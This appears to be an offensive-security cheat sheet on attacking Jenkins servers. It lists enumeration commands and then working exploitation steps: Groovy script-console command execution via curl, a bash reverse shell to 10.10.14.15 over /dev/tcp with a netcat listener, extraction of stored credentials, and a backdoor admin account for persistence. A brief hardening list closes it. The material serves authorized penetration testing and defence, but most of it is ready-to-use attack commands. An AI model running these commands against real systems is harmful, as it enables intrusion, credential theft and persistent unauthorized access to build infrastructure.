10.-Attacking-jenkins
1. Jenkins Version Detection
HTTP Headers:
curl -I http://target:8080/
Nmap Version Detection:
nmap -sV -p 8080 <target_ip>
Jenkins CLI Detection:
curl http://target:8080/jenkins/cli/ | grep -i "Jenkins CLI"
2. Jenkins Port Enumeration
Default HTTP: 8080
Slave Communication: 5000
nmap -sV -p 8080,5000 <target_ip>
3. Jenkins CLI Enumeration
Help:
java -jar jenkins-cli.jar -s http://target:8080/jenkins/ help
List Plugins:
java -jar jenkins-cli.jar -s http://target:8080/jenkins/ list-plugins
List Jobs:
java -jar jenkins-cli.jar -s http://target:8080/jenkins/ list-jobs
Enumerate jobs, plugins, users.
4. Jenkins Plugin Enumeration
List Installed Plugins:
curl http://target:8080/jenkins/pluginManager/
Common vulnerability source.
Vulnerability Search: Inspect plugin names, search for CVEs on NVD/Exploit-DB.
Example: Pipeline: Groovy plugin (CVE-2019-10352) allows arbitrary code execution.
Exploitation Methods: Research specific plugin CVEs and exploitation methods.
5. Jenkins Security Realm Enumeration
Check Authentication Methods:
curl http://target:8080/jenkins/configureSecurity/
Jenkins DB, LDAP, etc.
6. Jenkins API Enumeration
API Endpoints:
curl http://target:8080/jenkins/api/ curl http://target:8080/jenkins/api/json
API Token Enumeration:
Check for exposed tokens in API responses or configuration files.
Use API tokens for unauthorized access.
Enumerate API endpoints for sensitive data using tools like curl or python's request library.
API Endpoint Vulnerabilities:
Test API endpoints for vulnerabilities (fuzzing, parameter manipulation).
Check for endpoints allowing command injection or file read.
7. Jenkins Access Control Enumeration
Access Control Settings:
curl http://target:8080/jenkins/configureSecurity/
8. Exploiting Jenkins Script Console
Remote Command Execution:
curl -X POST -u admin:password --data-urlencode "script=println('Exploit successful')" http://target:8080/jenkins/scriptText
Groovy Command Execution (Linux):
curl -X POST -d "script=println 'id'.execute()" http://target:8080/jenkins/scriptText
Groovy Command Execution (Windows):
curl -X POST -d "script=def cmd = 'cmd.exe /c dir'.execute(); println cmd.text" http://target:8080/jenkins/scriptText
Reverse Shell via Groovy (Linux):
curl -X POST -d "script=r = Runtime.getRuntime(); p = r.exec(['/bin/bash','-c','exec 5<>/dev/tcp/10.10.14.15/8443;cat <&5 | while read line; do $line 2>&5 >&5; done'] as String[]); p.waitFor()" http://target:8080/jenkins/scriptText nc -lvnp 8443
9. Exploiting Build Job Misconfigurations
Create Malicious Job:
java -jar jenkins-cli.jar -s http://target:8080/jenkins/ create-job exploit_job < exploit.xml
10. Exploiting Pipeline Misconfigurations
Inject Malicious Groovy Script:
java -jar jenkins-cli.jar -s http://target:8080/jenkins/ build exploit_pipeline
11. Extracting Credentials from Jenkins
Extract Stored Credentials:
curl -u admin:password http://target:8080/jenkins/credentials/store/system/domain/_/
12. Persistence and Post-Exploitation
Create Backdoor User:
curl -X POST -u admin:password --data-urlencode "script=jenkins.model.Jenkins.instance.securityRealm.createAccount('attacker', 'password')" http://target:8080/jenkins/scriptText
13. Unauthenticated Exploits (Public Jenkins)
Check for Anonymous Access:
curl http://target:8080/jenkins/
14. Pipeline Script Injection (Groovy RCE)
def cmd = "whoami".execute()
println cmd.text
15. Jenkins Slave Exploitation
Misconfigured Slave Nodes:
Check for misconfigured slave nodes.
Insecure communication protocols, lack of access control.
Exploit misconfigured slaves to gain access to the Jenkins master.
16. Exploiting Misconfigured Webhooks
Webhook-Triggered Jobs:
Identify webhook-triggered jobs.
17. Jenkins SSRF & External Service Interaction
def url = "http://internal-service.local:8080"
def conn = url.toURL().openConnection()
println conn.getInputStream().text
18. Jenkins Reverse Shell via Build Step Manipulation
Modify Job Build Steps:
Modify job build steps for reverse shell.
19. Privilege Escalation via Misconfigured Agents
Elevated Privileges:
If Jenkins agents run with elevated privileges, execute commands as a higher-privileged user.
20. Arbitrary File Read via Plugin Vulnerabilities
Vulnerable Plugins:
Exploit vulnerable plugins like "Pipeline: Groovy" to read sensitive files.
Additional Exploitation Techniques
21. CSRF Protection Bypass:
Jenkins has CSRF protection, but misconfigurations may allow bypassing.
Common bypass methods: Referer header manipulation, token manipulation.
22. Authentication Bypass Details:
Expand on authentication bypass vulnerabilities and exploits.
Check for anonymous access misconfigurations.
Path traversal, header manipulation, session hijacking, default credentials.
23. Jenkins Security Hardening:
Keep Jenkins and plugins updated.
Restrict access to the script console.
Use strong authentication and RBAC.
Strong passwords, MFA, network segmentation, regular security audits, principle of least privilege.
Last updated